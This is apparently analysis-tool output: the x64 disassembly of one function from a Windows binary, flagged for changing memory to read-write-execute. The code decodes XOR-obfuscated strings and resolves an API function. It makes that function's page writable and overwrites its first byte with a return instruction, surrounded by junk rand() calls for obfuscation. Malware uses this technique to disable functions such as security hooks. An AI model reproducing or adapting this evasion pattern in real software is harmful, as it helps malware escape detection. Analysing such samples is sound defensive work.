Function at 0x140001eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x50
push rcx
nop
pop rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x77
je 0x140001ed0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or edi, edi
mov r14d, 0x31
mov ebp, 0xd3
mov ecx, 0xd3
cmove ecx, r14d
movd xmm0, ecx
xor cl, 0xbd
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c0d0]
pxor xmm1, xmm1
punpcklbw xmm0, xmm1
pshufd xmm0, xmm0, 0x44
pshuflw xmm0, xmm0, 0xa4
pshufhw xmm0, xmm0, 0xa7
packuswb xmm0, xmm0
movq qword [rax + 1], xmm0
mov byte [rax + 9], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push rax
pop rdi
nop
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xe
call sub.msvcrt.dll_malloc
or ebx, ebx
cmove ebp, r14d
movd xmm0, ebp
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c0e0]
movdqa xmmword [rsp + 0x30], xmm0
movzx ecx, byte [rsp + 0x31]
movzx edx, byte [rsp + 0x33]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x35]
mov byte [rax + 1], cl
movq qword [rax + 2], xmm0
xor bpl, 0xba
mov byte [rax + 0xa], bpl
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
push rdi
pop rcx
nop
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
push rax
pop rdi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov byte [rsp + 0x2b], 0xc3
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x3f
je 0x140001fd0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rsp + 0x2c], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1b
je 0x140002040
lea rbx, [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
push rsi
nop
pop rcx
push rdi
pop rdx
nop
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb
je 0x140002070
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x66
je 0x140002090
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x2b]
mov r9d, 1
push rsi
nop
pop rcx
push rdi
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x83
je 0x1400020c0
mov r9d, dword [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
push rsi
pop rcx
nop
push rdi
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x68
je 0x140002100
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c0f0]
pxor xmm1, xmm0
movq qword [rax], xmm1
mov ecx, edx
xor cl, 0xbb
mov byte [rax + 8], cl
mov ecx, edx
xor cl, 0xb6
mov byte [rax + 9], cl
xor dl, 0xb7
mov byte [rax + 0xa], dl
movdqa xmmword [rsp + 0x40], xmm1
movzx edx, byte [rsp + 0x43]
movzx r8d, byte [rsp + 0x46]
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], cl
mov byte [rax + 0xd], r8b
pxor xmm0, xmmword [0x14000c100]
movd dword [rax + 0xe], xmm0
mov byte [rax + 0x12], 0
nop
push rax
pop rcx
call fcn.140001b20
nop
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret